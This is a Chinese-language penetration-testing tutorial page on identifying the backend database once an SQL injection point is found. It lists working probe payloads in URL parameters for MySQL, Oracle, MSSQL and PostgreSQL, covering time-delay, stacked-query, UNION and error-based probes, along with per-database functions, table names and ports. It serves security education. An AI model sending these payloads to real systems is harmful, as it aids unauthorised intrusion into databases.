确认注入点后,我们需要识别后端所使用的数据库,因为不同的数据库注入的方式不一样,后期利用手法和条件也不一样。

[!TIP]

核心就是利用数据库特有的一些语法或者函数来判断即可,毕竟要满足该数据库的语法后SQL语句才能正常执行;下面的例子不全面,只是给大家提供一个思路,最明显的就是休眠函数

1.1. MySQL

空格--空格是注释,根据具体情况看是否添加

描述 语句
SLEEP函数 page.php?id=1'-SLEEP(1)=0 LIMIT 1 --
BENCHMARK函数 page.php?id=1'-BENCHMARK(5000000, ENCODE('Slow Down','by 5 seconds'))=0 LIMIT 1 --
字符串连接(注意有个空格) page.php?id=' 'mysql' --
page.php?id=' and concat('some','string')
版本信息 select @@version
select version()
错误消息(根据返回的错误信息判断) page.php?id='
特有函数 select connection_id()
select last_insert_id()
select row_count()

1.2. Oracle

描述 语句
字符串连接 `page.jsp?id=' 'oracle' -- a`
默认表 page.jsp?id='UNION SELECT 1 FROM v$version --
select banner FROM v$version
select banner FROM v$version WHERE rownum=1
错误消息(根据返回的错误信息判断) page.jsp?id='

1.3. MSSQL

描述 语句
WAITFOR 函数 page.asp?id=';WAITFOR DELAY '00:00:10'; --
堆叠查询默认变量 page.asp?id=sql'; SELECT @@SERVERNAME --
错误消息(根据返回的错误信息判断) page.asp?id='
错误消息(如果id参数是整数, 则@@SERVERNAME变量的字符串值可能导致转换错误) [email protected]@SERVERNAME
错误消息(如果id参数是整数, 则@@SERVERNAME变量的字符串值可能导致转换错误) page.asp?id=0/@@SERVERNAME
常量 @@pack_received<br/>@@rowcount

1.4. PostgreSQL

描述 语句
字符串连接 `page.jsp?id=' 'postgresql' -- a`
休眠函数 page.jsp?id=' and (select pg_sleep_for('5 sec')) is null -- a

1.5. 一些经验

方法 数据库
常用搭配 asp => mssql、access
aspx => mssql
php => mysql、postgresql
java => mysql、oracle、mssql
默认端口 oracle => 1521
mssql => 1433
mysql => 3306
postgresql => 5432
数据库特有函数 pg_sleep() => postgresql
benchmark() => mysql
waitfor delay => mssql
DBMS_PIPE.RECEIVE_MESSAGE() => oracle
特殊符号 ; => 字句查询标识符,postgresql、mssql 默认可堆叠查询
# => Mysql 注释符
特定表名 information_schema => mssql,postgresql,mysql
pg_tables => postgresql
sysobjects => mssql
all_tables,user_tables => oracle
报错banner信息 ...

比较全面可以参考:https://bak.gm7.org/pentestmonkey.net/category/cheat-sheet/sql-injection.html

里面的函数很多,也有执行后的结果(有些函数可能适用多个数据库,可以多用几个判断试试)

image-20220124104139923

Copyright © d4m1ts 2022 all right reserved,powered by Gitbook该文章修订时间: 2022-01-25 15:14:07

results matching ""

    No results matching ""